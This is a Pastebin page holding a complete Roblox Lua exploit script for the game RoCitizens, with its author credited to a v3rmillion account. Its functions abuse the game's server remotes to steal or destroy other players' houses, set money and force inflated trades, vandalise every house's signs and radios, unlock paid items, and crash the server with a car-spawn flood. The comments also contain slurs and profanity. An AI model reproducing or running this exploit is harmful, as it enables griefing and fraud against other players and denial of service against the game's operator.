Advertisement
WeDoScripts

Rocitizens Steal Houses And more

Feb 3rd, 2019
1,078
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 29.32 KB | None | 0 0
  1. -- Made by FalconPunch: https://v3rmillion.net/member.php?action=profile&uid=415071
  2. -- Don't modify the script to steal money, thats fucked up beyond belief you fucking Satan's child
  3.  
  4. -- This script is very buggy on Shitapse.
  5.  
  6. --[[
  7. ToDo:
  8. 1) Option to prevent other exploiters using this gui from destroying your house.
  9. ]]
  10. local Obj = nil
  11. local Succ = pcall(function()
  12. Obj = game:GetObjects("rbxassetid://1315335901")
  13. Obj[1].Parent = game.CoreGui
  14. end)
  15. if not Succ or Obj == nil then
  16. Obj = getobjects(game, "rbxassetid://1315335901")
  17. Obj[1].Parent = game.CoreGui
  18. end
  19.  
  20. if Obj == nil then
  21. error("YOUR EXPLOIT CAN'T USE GETOBJECTS.")
  22. end
  23.  
  24. local serv = setmetatable({}, {
  25. __index = function(t, k)
  26. return game:GetService(k)
  27. end
  28. })
  29.  
  30. local Plrs = serv.Players
  31. local Run = serv.RunService
  32. local RepStor = serv.ReplicatedStorage
  33. local CoreGui = serv.CoreGui
  34. local UserInput = serv.UserInputService
  35. local Http = serv.HttpService
  36.  
  37. if game.PlaceId ~= 137877687 then
  38. local Hint = Instance.new("Hint", CoreGui)
  39. Hint.Text = "You fucking idiot, you need to be playing RoCitizens for this GUI"
  40. wait(10)
  41. Hint:Destroy()
  42. script.Parent:Destroy()
  43. end
  44.  
  45. local MyPlr = Plrs.LocalPlayer
  46. local MyChar = MyPlr.Character
  47. warn("Waiting for MyMoney")
  48. local MyMoney do
  49. repeat wait() until MyPlr:FindFirstChild("Money")
  50. end
  51. MyMoney = MyPlr.Money
  52.  
  53. warn("Waiting for ChangMoney")
  54. local ChangeMoney do
  55. repeat wait() until MyPlr:FindFirstChild("ChangeMoney")
  56. end
  57. ChangeMoney = MyPlr.ChangeMoney
  58.  
  59. local RoCitizensGUI = CoreGui.RoCitizens
  60.  
  61. local ComRelay = workspace.CommunicationRelays
  62. local CTrades = workspace.CurrentTrades
  63. local SelectedPlayer = Plrs:GetPlayers()[math.random(1, #Plrs:GetPlayers())]
  64. RoCitizensGUI.Main.Players.Title.Text = "Current Selected Player: " .. SelectedPlayer.Name
  65.  
  66. local PermsExploit = true
  67. local ExplosivesExploit = true
  68. local LockpickExploit = true
  69. local AntiHouseDestroy = true
  70. local AntiHouseStealSign = true
  71.  
  72. function format_int(Num)
  73. local i, j, minus, int, fraction = tostring(Num):find("([-]?)(%d+)([.]?%d*)")
  74.  
  75. int = int:reverse():gsub("(%d%d%d)", "%1,")
  76.  
  77. return minus .. int:reverse():gsub("^,", "") .. fraction
  78. end
  79.  
  80. function FindPlayer(Str)
  81. local Plr = { }
  82. for _, v in pairs(Plrs:GetPlayers()) do
  83. if string.lower(string.sub(v.Name, 1, string.len(Str))) == string.lower(Str) then
  84. table.insert(Plr, v)
  85. end
  86. end
  87. if #Plr == 1 then
  88. return Plr[1]
  89. else
  90. return nil
  91. end
  92. end
  93.  
  94. function FindPlayersWithAHouse()
  95. local Players = { }
  96. local Properties = { }
  97. for _, v in next, workspace:GetChildren() do
  98. if v:IsA("Model") and v.Name == "Property" then
  99. table.insert(Properties, v:GetChildren())
  100. end
  101. end
  102. for _, v in next, Properties do
  103. local Find = v[1]:FindFirstChild("Owner")
  104. if Find then
  105. local FindPlr = Plrs:FindFirstChild(Find.Value)
  106. if FindPlr and FindPlr:IsA("Player") then
  107. table.insert(Players, FindPlr)
  108. end
  109. end
  110. end
  111. if #Players <= 0 then
  112. Players = nil
  113. end
  114.  
  115. return Players
  116. end
  117.  
  118. function FindEmptyProperty(Prop)
  119. local Properties = { }
  120.  
  121. for _, v in next, workspace:GetChildren() do
  122. if v.Name == "Property" then
  123. local House = v:GetChildren()
  124. local GetPos = Vector3.new(Prop[1], Prop[2], Prop[3])
  125. if (House[1].Base.Position - GetPos).magnitude < 5 then
  126. local Find = House[1]:FindFirstChild("Owner")
  127. if not Find then
  128. table.insert(Properties, v)
  129. else
  130. workspace.CommunicationRelays.House.ResetProperty:FireServer(House[1])
  131. table.insert(Properties, v)
  132. end
  133. end
  134. end
  135. end
  136.  
  137. return Properties
  138. end
  139.  
  140. function FindHouse(Plr)
  141. local Properties = { }
  142. for _, v in next, workspace:GetChildren() do
  143. if v:IsA("Model") and v.Name == "Property" then
  144. table.insert(Properties, v:GetChildren())
  145. end
  146. end
  147. for _, v in next, Properties do
  148. local Find = v[1]:FindFirstChild("Owner")
  149. if Find then
  150. if Find.Value == Plr.Name then
  151. return v[1]
  152. end
  153. end
  154. end
  155.  
  156. return nil
  157. end
  158.  
  159. function GeneratePermsTable(Plr)
  160. local Tab = { }
  161. for _, v in next, Plrs:GetPlayers() do
  162. if v ~= Plr and v ~= MyPlr then
  163. Tab[v.Name] = {["Ban"] = false, ["Paint"] = false, ["Door"] = false}
  164. elseif v ~= Plr and v == MyPlr then
  165. Tab[v.Name] = {["Ban"] = false, ["Paint"] = true, ["Door"] = true}
  166. end
  167. end
  168.  
  169. return Tab
  170. end
  171.  
  172. function FlipLightSwitches(House)
  173. local StaticAssets = House.StaticAssets
  174. for _, v in next, StaticAssets:GetDescendants() do
  175. if v.Name == "SwitchV2" then
  176. ComRelay.Interaction.LightInteractV2:FireServer(v)
  177. end
  178. end
  179. end
  180.  
  181. function OpenDoors(House)
  182. local StaticAssets = House.StaticAssets
  183. for _, v in next, StaticAssets:GetDescendants() do
  184. if v.Name == "Door" or v.Name == "GlassDoor" then
  185. ComRelay.Interaction.DoorInteract:FireServer(v)
  186. end
  187. end
  188. end
  189.  
  190. function SendMessage(Plr, Msg) --ez
  191. ComRelay.Interclient.SendMessage:InvokeServer(Msg, Plr.Name)
  192. end
  193.  
  194. function BuildHouse(Plr)
  195. local Building = true
  196. local Hint = Instance.new("Hint", CoreGui)
  197. Hint.Text = "Stealing house... This could take a while... and you might lag...)"
  198. SendMessage(Plr, "I stole your house. To get it back: reset character, and spawn it in again. I'm Sowwy. :(")
  199. local GetHouse = FindHouse(Plr)
  200. if not GetHouse then
  201. Hint.Text = "That player doesn't have a house!"
  202. wait(7)
  203. Hint:Destroy()
  204. return
  205. end
  206.  
  207. MyPlr.Character.HumanoidRootPart.CFrame = CFrame.new(GetHouse.PrimaryPart.Position + Vector3.new(0, 5, 0))
  208. repeat wait() until GetHouse.StaticAssets:FindFirstChild("Furniture")
  209. local GetFurniture = GetHouse.StaticAssets:FindFirstChild("Furniture")
  210. local TempFurniture = Instance.new("Folder", MyPlr)
  211. TempFurniture.Name = "TempFurniture"
  212. local GetColors = GetHouse.AestheticChanger.UpdateRequested
  213. local Table = { }
  214. Table["HouseType"] = GetHouse.Name
  215. Table["Furniture"] = { }
  216. Table["Variables"] = { }
  217. for i, v in next, GetFurniture:GetChildren() do
  218. local Clo = v:clone()
  219. Clo.Parent = TempFurniture
  220. end
  221. for i, v in next, GetColors:GetChildren() do
  222. Table["Variables"][v.Name] = v.Value
  223. end
  224.  
  225. ComRelay.House.ResetProperty:FireServer(GetHouse)
  226. ComRelay.HomePurchase.House:InvokeServer(GetHouse.Parent, Table)
  227. AntiHouseDestroy = false
  228. RoCitizensGUI.Main.Functions.Func16.AntiD.Text = "OFF"
  229. RoCitizensGUI.Main.Functions.Func16.AntiD.TextColor3 = Color3.new(1, 0, 0)
  230.  
  231. GetHouse = FindHouse(MyPlr)
  232. for i, v in next, TempFurniture:GetChildren() do
  233. Hint.Text = "Stealing house... placing furniture " .. i .. "/" .. #TempFurniture:GetChildren()
  234. local Item = v:FindFirstChild("Item")
  235. local Color = v:FindFirstChild("Color")
  236. if Item and Color then
  237. local Furn = workspace.CommunicationRelays.House.PlaceFurniture:InvokeServer(v.Name, v.PrimaryPart.CFrame, GetHouse, Item.Value, Color.Value)
  238. if v.Name == "SS_Wooden Sign" then
  239. workspace.CommunicationRelays.Interaction.EditSign:FireServer(Furn, v.Plaque.SurfaceGui.TextLabel.Text)
  240. end
  241. else
  242. local Color1 = v:FindFirstChild("Color1")
  243. local Color2 = v:FindFirstChild("Color2")
  244. local Display = v:FindFirstChild("Display")
  245. if Color1 and Color2 and Display then
  246. workspace.CommunicationRelays.House.PlaceFurniture:InvokeServer(v.Name, v.PrimaryPart.CFrame, GetHouse, Item.Value, {["Display"] = Display.Value, ["Color1"] = Color1.Value, ["Color2"] = Color2.Value})
  247. end
  248. end
  249. game:GetService("RunService").RenderStepped:wait()
  250. end
  251.  
  252. TempFurniture:Destroy()
  253.  
  254. MyPlr.PlayerGui.Main.MyHouse.Value = GetHouse
  255.  
  256. FlipLightSwitches(GetHouse)
  257. Building = false
  258.  
  259. Hint.Text = "House copied, and spawned. Place some furniture to save it to server."
  260. wait(10)
  261. Hint:Destroy()
  262. end
  263.  
  264. function DestroyHouse(Plr, House)
  265. if House == nil then
  266. House = FindHouse(Plr)
  267. end
  268.  
  269. if House ~= nil then
  270. MyPlr.Character.HumanoidRootPart.CFrame = CFrame.new(House.Base.Position + Vector3.new(0, 5, 0))
  271. repeat
  272. MyPlr.Character.HumanoidRootPart.CFrame = CFrame.new(House.Base.Position + Vector3.new(0, 5, 0))
  273. Run.RenderStepped:wait()
  274. until House.StaticAssets:FindFirstChild("Furniture")
  275. local Furn = House.StaticAssets.Furniture
  276.  
  277. for _, v in next, Furn:GetChildren() do
  278. if v.Name == "SS_Wooden Sign" then
  279. if v.Plaque.SurfaceGui.TextLabel.Text == "can't steal house" then
  280. local Hint = Instance.new("Hint", CoreGui)
  281. Hint.Text = "CANNOT DESTROY " .. Plr.Name .. "'s HOUSE THEIR ALSO USING THIS GUI <3"
  282. wait(10)
  283. Hint:Destroy()
  284. return
  285. end
  286. end
  287. end
  288.  
  289. ComRelay.House.ResetProperty:FireServer(House)
  290.  
  291. local Hint = Instance.new("Hint", CoreGui)
  292. Hint.Text = "Destroyed: " .. SelectedPlayer.Name .. "'s house. You fucking dick."
  293. wait(10)
  294. Hint:Destroy()
  295.  
  296. if Plr == MyPlr then
  297. MyPlr.PlayerGui.Main.MyHouse.Value = nil
  298. end
  299. end
  300. end
  301.  
  302. function DonateExploit(Plr, Amount)
  303. local Hint = Instance.new("Hint", CoreGui)
  304. Hint.Text = "Sent " .. Plr.Name .. " a trade request. Awaiting response..."
  305. if Plr.Money.Value == Amount or Plr.Money.Value > Amount then
  306. Hint.Text = "Unable to trade, " .. Plr.Name .. " already has that amount of money!"
  307. wait(7)
  308. Hint:Destroy()
  309. else
  310. local Response, TradeId = ComRelay.Interclient.RequestTrade:InvokeServer(Plr.Name)
  311. if Response and Response == "Accept" then
  312. Hint.Text = "Trade accepted, and hacked donation amount awaiting " .. Plr.Name .. "'s response."
  313. local Math = (Amount - Plr.Money.Value)
  314. ComRelay.Interclient.TradeStart:InvokeServer(Plr.Name, TradeId)
  315. ComRelay.Interclient.TradeUpdate:InvokeServer(TradeId, Math, "Money")
  316. repeat wait() until CTrades:FindFirstChild(TradeId)
  317. repeat
  318. ComRelay.Interclient.TradeAccept:FireServer(TradeId)
  319. wait(1)
  320. until not CTrades:FindFirstChild(TradeId)
  321. Hint.Text = "Sent " .. Plr.Name .. " $" .. format_int(Math)
  322. wait(5)
  323. Hint:Destroy()
  324. elseif Response == "Busy" then
  325. Hint.Text = Plr.Name .. " is busy with another trade."
  326. wait(6)
  327. Hint:Destroy()
  328. else
  329. Hint.Text = Plr.Name .. " declined trade. Money not sent."
  330. wait(5)
  331. Hint:Destroy()
  332. end
  333. end
  334. end
  335.  
  336. function StealHouse()
  337. local IHaveAHouse = FindHouse(MyPlr)
  338. if IHaveAHouse then
  339. DestroyHouse(MyPlr, IHaveAHouse)
  340. end
  341. BuildHouse(SelectedPlayer)
  342. end
  343.  
  344. function EquipItem(Item)
  345. ComRelay.Character.ItemEquip:FireServer("JobAssets", Item, Item)
  346. end
  347.  
  348. function SaveHouse(HouseName)
  349. local GetHouse = FindHouse(SelectedPlayer)
  350. if not GetHouse then
  351. return
  352. end
  353.  
  354. MyChar.HumanoidRootPart.CFrame = CFrame.new(GetHouse.PrimaryPart.Position + Vector3.new(0, 5, 0))
  355. repeat
  356. MyChar.HumanoidRootPart.CFrame = CFrame.new(GetHouse.PrimaryPart.Position + Vector3.new(0, 5, 0))
  357. wait()
  358. until GetHouse.StaticAssets:FindFirstChild("Furniture")
  359. local Furn = GetHouse.StaticAssets.Furniture
  360. local Colors = GetHouse.AestheticChanger.UpdateRequested
  361.  
  362. local SaveData = { }
  363. SaveData["HouseType"] = GetHouse.Name
  364. SaveData["Furniture"] = { } -- Going to be nil.
  365. SaveData["Variables"] = { }
  366. SaveData["FurnData"] = { }
  367. SaveData["Prop"] = {GetHouse.Base.Position.X, GetHouse.Base.Position.Y, GetHouse.Base.Position.Z}
  368.  
  369. for i, v in next, Furn:GetChildren() do
  370. SaveData["FurnData"][v.Name .. i] = { }
  371. local Item, Color = v:FindFirstChild("Item"), v:FindFirstChild("Color")
  372. if Item and Color then
  373. SaveData["FurnData"][v.Name .. i]["Name"] = v.Name
  374. SaveData["FurnData"][v.Name .. i]["Item"] = Item.Value
  375. SaveData["FurnData"][v.Name .. i]["Color"] = Color.Value
  376. SaveData["FurnData"][v.Name .. i]["CFrame"] = {v.PrimaryPart.CFrame:components()}
  377. if v.Name == "SS_Wooden Sign" then
  378. SaveData["FurnData"][v.Name .. i]["Text"] = v.Plaque.SurfaceGui.TextLabel.Text
  379. end
  380. else
  381. local Color1 = v:FindFirstChild("Color1")
  382. local Color2 = v:FindFirstChild("Color2")
  383. local Display = v:FindFirstChild("Display")
  384. local Item = v:FindFirstChild("Item")
  385. if Color1 and Color2 and Display and Item then
  386. SaveData["FurnData"][v.Name .. i]["Item"] = Item.Value
  387. SaveData["FurnData"][v.Name .. i]["Color1"] = Color1.Value
  388. SaveData["FurnData"][v.Name .. i]["Color2"] = Color2.Value
  389. SaveData["FurnData"][v.Name .. i]["Display"] = Display.Value
  390. SaveData["FurnData"][v.Name .. i]["CFrame"] = {v.PrimaryPart.CFrame:components()}
  391. end
  392. end
  393. end
  394.  
  395. for _, v in next, Colors:GetChildren() do
  396. SaveData["Variables"][v.Name] = v.Value
  397. end
  398.  
  399.  
  400. pcall(function() writefile(HouseName .. ".txt", Http:JSONEncode(SaveData)) end)
  401. pcall(function() Synapse:WriteFile(HouseName .. ".txt", Http:JSONEncode(SaveData)) end)
  402. local hint = Instance.new("Hint", game.CoreGui)
  403. hint.Text = "House Saved to file: " .. HouseName
  404. wait(5)
  405. hint:Destroy()
  406. end
  407.  
  408. function LoadHouse(HouseName)
  409. local Hint = Instance.new("Hint", CoreGui)
  410. Hint.Text = "Loading house: " .. HouseName
  411.  
  412. local HouseData = nil
  413. local Succ = pcall(function() HouseData = readfile(HouseName .. ".txt") end)
  414. if not Succ then
  415. local Succ2 = pcall(function() HouseData = readfile(HouseName .. ".txt") end)
  416. if not Succ2 then
  417. Hint:Destroy()
  418. return
  419. end
  420. end
  421.  
  422. HouseData = Http:JSONDecode(HouseData)
  423.  
  424. local GetAProperty = FindEmptyProperty(HouseData.Prop)
  425. if #GetAProperty > 1 then
  426. GetAProperty = GetAProperty[math.random(1, #GetAProperty)]
  427. else
  428. GetAProperty = GetAProperty[1]
  429. end
  430.  
  431. if GetAProperty == nil then
  432. return
  433. end
  434. local GetHouse = FindHouse(MyPlr)
  435. if GetHouse then
  436. ComRelay.House.ResetProperty:FireServer(GetHouse)
  437. AntiHouseDestroy = false
  438. RoCitizensGUI.Main.Functions.Func16.AntiD.Text = "OFF"
  439. RoCitizensGUI.Main.Functions.Func16.AntiD.TextColor3 = Color3.new(1, 0, 0)
  440. end
  441.  
  442. workspace.CommunicationRelays.HomePurchase.House:InvokeServer(GetAProperty, {["HouseType"] = HouseData["HouseType"], ["Furniture"] = { }, ["Variables"] = HouseData["Variables"]})
  443.  
  444. wait(0.5)
  445.  
  446. GetHouse = FindHouse(MyPlr)
  447. local Num = 1
  448. for i, v in next, HouseData.FurnData do
  449. Hint.Text = "Loading house: " .. HouseName .. " " .. Num .. "/" .. #HouseData.FurnData
  450. if v.Color ~= nil then
  451. local C = CFrame.new(v.CFrame[1], v.CFrame[2], v.CFrame[3], v.CFrame[4], v.CFrame[5], v.CFrame[6], v.CFrame[7], v.CFrame[8], v.CFrame[9], v.CFrame[10], v.CFrame[11], v.CFrame[12])
  452. local sexy_bitch = workspace.CommunicationRelays.House.PlaceFurniture:InvokeServer(v.Name, C, GetHouse, v.Item, v.Color)
  453. if sexy_bitch.Name == "SS_Wooden Sign" then
  454. ComRelay.Interaction.EditSign:FireServer(sexy_bitch, v.Text)
  455. end
  456. else
  457. local C = CFrame.new(v.CFrame[1], v.CFrame[2], v.CFrame[3], v.CFrame[4], v.CFrame[5], v.CFrame[6], v.CFrame[7], v.CFrame[8], v.CFrame[9], v.CFrame[10], v.CFrame[11], v.CFrame[12])
  458. ComRelay.House.PlaceFurniture:InvokeServer(v.Name, C, GetHouse, v.Item, {["Display"] = v.Display, ["Color1"] = v.Color1, ["Color2"] = v.Color2})
  459. end
  460. Num = Num + 1
  461. end
  462. MyPlr.PlayerGui.Main.MyHouse.Value = GetHouse
  463. MyChar.HumanoidRootPart.CFrame = CFrame.new(GetHouse.PrimaryPart.Position + Vector3.new(0, 5, 0))
  464. Hint.Text = "House loaded. :)"
  465. wait(5)
  466. Hint:Destroy()
  467. end
  468.  
  469. RoCitizensGUI.Main.Players.Players.PlayerBOX.FocusLost:connect(function()
  470. local Plr = FindPlayer(RoCitizensGUI.Main.Players.Players.PlayerBOX.Text)
  471. if Plr then
  472. SelectedPlayer = Plr
  473. RoCitizensGUI.Main.Players.Players.PlayerBOX.Text = Plr.Name
  474. RoCitizensGUI.Main.Players.Title.Text = "Current Selected Player: " .. Plr.Name
  475. else
  476. RoCitizensGUI.Main.Players.Players.PlayerBOX.Text = "Enter Player Name"
  477. end
  478. end)
  479.  
  480. RoCitizensGUI.Main.Players.Players.AllPlayers.MouseButton1Click:connect(function()
  481. SelectedPlayer = "Everyone"
  482. RoCitizensGUI.Main.Players.Title.Text = "Current Selected Player: Everyone"
  483. end)
  484.  
  485. RoCitizensGUI.Main.Functions.Func3.Teleport.MouseButton1Click:connect(function()
  486. local MyChar = MyPlr.Character
  487. local TheirChar = nil
  488. if SelectedPlayer ~= "Everyone" then
  489. TheirChar = SelectedPlayer.Character
  490. if MyChar and TheirChar then
  491. local MyTor = MyChar.HumanoidRootPart
  492. local TheirTor = TheirChar.HumanoidRootPart
  493. MyTor.CFrame = TheirTor.CFrame * CFrame.new(Vector3.new(0, 0, 2))
  494. end
  495. else
  496. local Hint = Instance.new("Hint", CoreGui)
  497. Hint.Text = "Selected Player cannot be everyone!"
  498. wait(5)
  499. Hint:Destroy()
  500. end
  501. end)
  502.  
  503. RoCitizensGUI.Main.Functions.Func1.MoneyBox.FocusLost:connect(function()
  504. local Num = tonumber(RoCitizensGUI.Main.Functions.Func1.MoneyBox.Text) or 0
  505. if Num > 2147483647 then
  506. Num = 2147483647
  507. end
  508. if Num < -2147483647 then
  509. Num = -2147483647
  510. end
  511. RoCitizensGUI.Main.Functions.Func1.MoneyVal.Value = Num
  512.  
  513. RoCitizensGUI.Main.Functions.Func1.MoneyBox.Text = "$" .. format_int(Num)
  514. end)
  515.  
  516. RoCitizensGUI.Main.Functions.Func2.MoneyBox.FocusLost:connect(function()
  517. local Num = tonumber(RoCitizensGUI.Main.Functions.Func2.MoneyBox.Text) or 0
  518. if Num > 2147483647 then
  519. Num = 2147483647
  520. end
  521. if Num < 0 then -- Don't be a fucking dick head faggot.
  522. Num = 1
  523. end
  524.  
  525. RoCitizensGUI.Main.Functions.Func2.MoneyVal.Value = Num
  526.  
  527. RoCitizensGUI.Main.Functions.Func2.MoneyBox.Text = "$" .. format_int(Num)
  528. end)
  529.  
  530. RoCitizensGUI.Main.Functions.Func1.SetMoney.MouseButton1Click:connect(function()
  531. local Math = RoCitizensGUI.Main.Functions.Func1.MoneyVal.Value - MyMoney.Value
  532. ChangeMoney:Fire(Math)
  533. end)
  534.  
  535. RoCitizensGUI.Main.Functions.Func2.SendMoney.MouseButton1Click:connect(function()
  536. if SelectedPlayer ~= "Everyone" and SelectedPlayer ~= MyPlr then
  537. DonateExploit(SelectedPlayer, RoCitizensGUI.Main.Functions.Func2.MoneyVal.Value)
  538. else
  539. for _, v in next, Plrs:GetPlayers() do
  540. if v ~= MyPlr then
  541. if v:FindFirstChild("Money") then
  542. DonateExploit(v, RoCitizensGUI.Main.Functions.Func2.MoneyVal.Value)
  543. end
  544. end
  545. end
  546. end
  547. end)
  548.  
  549. RoCitizensGUI.Main.Functions.Func4.Teleport.MouseButton1Click:connect(function()
  550. if SelectedPlayer ~= "Everyone" and SelectedPlayer ~= MyPlr then
  551. StealHouse()
  552. else
  553. local Hint = Instance.new("Hint", CoreGui)
  554. Hint.Text = "Cannot steal everyone's house!"
  555. wait(5)
  556. Hint:Destroy()
  557. end
  558. end)
  559.  
  560. RoCitizensGUI.Main.Functions.Func5.DestroyBut.MouseButton1Click:connect(function()
  561. DestroyHouse(SelectedPlayer)
  562. end)
  563.  
  564. RoCitizensGUI.Main.Functions.Func6.Change.MouseButton1Click:connect(function()
  565. local id = tonumber(RoCitizensGUI.Main.Functions.Func6.AudioBox.Text) or 856173428
  566.  
  567. local MyChar = MyPlr.Character
  568. local MyTor = MyChar.HumanoidRootPart
  569. local SavePos = MyTor.CFrame
  570.  
  571. local GetHousePlrs = FindPlayersWithAHouse()
  572. for _, v in next, GetHousePlrs do
  573. local TheirHouse = FindHouse(v)
  574. if TheirHouse then
  575. MyTor.CFrame = CFrame.new(TheirHouse.Base.Position + Vector3.new(0, 6, 0))
  576. repeat
  577. if not TheirHouse:FindFirstChild("Owner") then
  578. break
  579. end
  580. MyTor.CFrame = CFrame.new(TheirHouse.Base.Position + Vector3.new(0, 6, 0))
  581. Run.RenderStepped:wait()
  582. until TheirHouse.StaticAssets:FindFirstChild("Furniture")
  583. if not TheirHouse:FindFirstChild("Owner") then
  584. return
  585. end
  586. for _, vv in next, TheirHouse.StaticAssets.Furniture:GetChildren() do
  587. if vv.Name:find("VC_Radio") or vv.Name:find("VC_Stereo") then
  588. ComRelay.Interaction.ChangeSound:FireServer(vv, tostring(id))
  589. game.StarterGui.RoRadio.RemoveSystem:Fire(vv)
  590. end
  591. end
  592. end
  593. end
  594.  
  595. MyTor.CFrame = SavePos
  596. end)
  597.  
  598. RoCitizensGUI.Main.Functions.Func14.SignsB.MouseButton1Click:connect(function()
  599. local MyChar = MyPlr.Character
  600. local MyTor = MyChar.HumanoidRootPart
  601. local SavePos = MyTor.CFrame
  602.  
  603. local GetHousePlrs = FindPlayersWithAHouse()
  604. for _, v in next, GetHousePlrs do
  605. local TheirHouse = FindHouse(v)
  606. if TheirHouse then
  607. MyTor.CFrame = CFrame.new(TheirHouse.Base.Position + Vector3.new(0, 6, 0))
  608. repeat
  609. if not TheirHouse:FindFirstChild("Owner") then
  610. break
  611. end
  612. MyTor.CFrame = CFrame.new(TheirHouse.Base.Position + Vector3.new(0, 6, 0))
  613. Run.RenderStepped:wait()
  614. until TheirHouse.StaticAssets:FindFirstChild("Furniture")
  615. if not TheirHouse:FindFirstChild("Owner") then
  616. return
  617. end
  618. for _, vv in next, TheirHouse.StaticAssets.Furniture:GetChildren() do
  619. if vv.Name == "SS_Wooden Sign" then
  620. ComRelay.Interaction.EditSign:FireServer(vv, RoCitizensGUI.Main.Functions.Func14.SignsText.Text)
  621. end
  622. end
  623. end
  624. end
  625.  
  626. MyTor.CFrame = SavePos
  627. end)
  628.  
  629. RoCitizensGUI.Main.Functions.Func7.Permissions.MouseButton1Click:connect(function()
  630. PermsExploit = not PermsExploit
  631. if PermsExploit then
  632. RoCitizensGUI.Main.Functions.Func7.Permissions.Text = "ON"
  633. RoCitizensGUI.Main.Functions.Func7.Permissions.TextColor3 = Color3.new(0, 1, 0)
  634. else
  635. RoCitizensGUI.Main.Functions.Func7.Permissions.Text = "OFF"
  636. RoCitizensGUI.Main.Functions.Func7.Permissions.TextColor3 = Color3.new(1, 0, 0)
  637. end
  638. end)
  639.  
  640. RoCitizensGUI.Main.Functions.Func8.Lockpick.MouseButton1Click:connect(function()
  641. LockpickExploit = not LockpickExploit
  642. ExplosivesExploit = false
  643. if LockpickExploit then
  644. RoCitizensGUI.Main.Functions.Func8.Lockpick.Text = "ON"
  645. RoCitizensGUI.Main.Functions.Func8.Lockpick.TextColor3 = Color3.new(0, 1, 0)
  646. RoCitizensGUI.Main.Functions.Func9.Explosives.Text = "OFF"
  647. RoCitizensGUI.Main.Functions.Func9.Explosives.TextColor3 = Color3.new(1, 0, 0)
  648. else
  649. RoCitizensGUI.Main.Functions.Func8.Lockpick.Text = "OFF"
  650. RoCitizensGUI.Main.Functions.Func8.Lockpick.TextColor3 = Color3.new(1, 0, 0)
  651. end
  652. end)
  653.  
  654. RoCitizensGUI.Main.Functions.Func9.Explosives.MouseButton1Click:connect(function()
  655. ExplosivesExploit = not ExplosivesExploit
  656. LockpickExploit = false
  657. if ExplosivesExploit then
  658. RoCitizensGUI.Main.Functions.Func9.Explosives.Text = "ON"
  659. RoCitizensGUI.Main.Functions.Func9.Explosives.TextColor3 = Color3.new(0, 1, 0)
  660. RoCitizensGUI.Main.Functions.Func8.Lockpick.Text = "OFF"
  661. RoCitizensGUI.Main.Functions.Func8.Lockpick.TextColor3 = Color3.new(1, 0, 0)
  662. else
  663. RoCitizensGUI.Main.Functions.Func9.Explosives.Text = "OFF"
  664. RoCitizensGUI.Main.Functions.Func9.Explosives.TextColor3 = Color3.new(1, 0, 0)
  665. end
  666. end)
  667.  
  668. RoCitizensGUI.Main.Functions.Func10.Clothes.MouseButton1Click:connect(function()
  669. for _, v in next, RepStor.Shirt:GetChildren() do
  670. MyPlr.PlayerGui.GameValues.CosmeticData.AddItem:Invoke(v.Name)
  671. end
  672. for _, v in next, RepStor.Pants:GetChildren() do
  673. MyPlr.PlayerGui.GameValues.CosmeticData.AddItem:Invoke(v.Name)
  674. end
  675. for _, v in next, RepStor.Hair:GetChildren() do
  676. MyPlr.PlayerGui.GameValues.CosmeticData.AddItem:Invoke(v.Name)
  677. end
  678. for _, v in next, RepStor.Hat:GetChildren() do
  679. MyPlr.PlayerGui.GameValues.CosmeticData.AddItem:Invoke(v.Name)
  680. end
  681. for _, v in next, RepStor.Glasses:GetChildren() do
  682. MyPlr.PlayerGui.GameValues.CosmeticData.AddItem:Invoke(v.Name)
  683. end
  684. end)
  685.  
  686. RoCitizensGUI.Main.Functions.Func11.Furniture.MouseButton1Click:connect(function()
  687. local FurnGUI = MyPlr.PlayerGui.Main.Field.Panel2.Inventory.FurnitureFrame
  688. for _, v in next, RepStor.Furniture:GetChildren() do
  689. local Clo = v:clone()
  690. Clo.Parent = FurnGUI
  691. Clo.Visible = true
  692. print(Clo:GetFullName())
  693. end
  694. end)
  695.  
  696. RoCitizensGUI.Main.Functions.Func12.HouseName.ClearTextOnFocus = false
  697. RoCitizensGUI.Main.Functions.Func12.HouseSave.MouseButton1Click:connect(function()
  698. SaveHouse(RoCitizensGUI.Main.Functions.Func12.HouseName.Text)
  699. end)
  700.  
  701. RoCitizensGUI.Main.Functions.Func13.HouseName.ClearTextOnFocus = false
  702. RoCitizensGUI.Main.Functions.Func13.HouseLoad.MouseButton1Click:connect(function()
  703. LoadHouse(RoCitizensGUI.Main.Functions.Func13.HouseName.Text)
  704. end)
  705.  
  706. RoCitizensGUI.Main.Functions.Func15.CrashB.MouseButton1Click:connect(function()
  707. local Hint = Instance.new("Hint", CoreGui)
  708. Hint.Text = "May take a few minutes to completely crash the server."
  709. for i = 0, 5 do
  710. Run:BindToRenderStep("HAX" .. i, Enum.RenderPriority.First.Value-1, function()
  711. ComRelay.Car.SpawnCar:InvokeServer({["SpawnLocation"] = "Dealership", ["CurrentSpecs"] = {["Hood"] = "Standard", ["Spoiler"] = "None", ["SpoilerColor"] = "Mid gray", ["PrimaryColor"] = "Medium blue", ["SkirtsColor"] = "Mid gray", ["Price"] = 4400, ["Initiate"] = false, ["Skirts"] = "None", ["Frame"] = "Intrepid", ["SecondaryColor"] = "Medium stone grey", ["RimColor"] = "Medium stone grey"}})
  712. end)
  713. end
  714. end)
  715.  
  716. RoCitizensGUI.Main.Functions.Func16.AntiD.MouseButton1Click:connect(function()
  717. AntiHouseDestroy = not AntiHouseDestroy
  718. if AntiHouseDestroy then
  719. local GetHouse = FindHouse(MyPlr)
  720. if not GetHouse then
  721. return
  722. end
  723. -- v.Name, C, GetHouse, v.Item, v.Color
  724. local Furn = RepStor.FurnitureModels["SS_Wooden Sign"]
  725. AntiHouseStealSign = ComRelay.House.PlaceFurniture:InvokeServer(Furn.Name, CFrame.new(Vector3.new(0, -5, 0)), GetHouse, "Splinter Sale Wooden Sign", "Reddish brown")
  726. ComRelay.Interaction.EditSign:FireServer(AntiHouseStealSign, "can't steal house")
  727.  
  728. local Hint = Instance.new("Hint", CoreGui)
  729. Hint.Text = "DO NOT DESTROY THE SIGN THAT WAS JUST SPAWNED IN."
  730. RoCitizensGUI.Main.Functions.Func16.AntiD.Text = "ON"
  731. RoCitizensGUI.Main.Functions.Func16.AntiD.TextColor3 = Color3.new(0, 1, 0)
  732. wait(8)
  733. Hint:Destroy()
  734. else
  735. ComRelay.House.RemoveFurniture:InvokeServer(AntiHouseStealSign)
  736. AntiHouseStealSign = nil
  737. RoCitizensGUI.Main.Functions.Func16.AntiD.Text = "OFF"
  738. RoCitizensGUI.Main.Functions.Func16.AntiD.TextColor3 = Color3.new(1, 0, 0)
  739. end
  740. end)
  741.  
  742.  
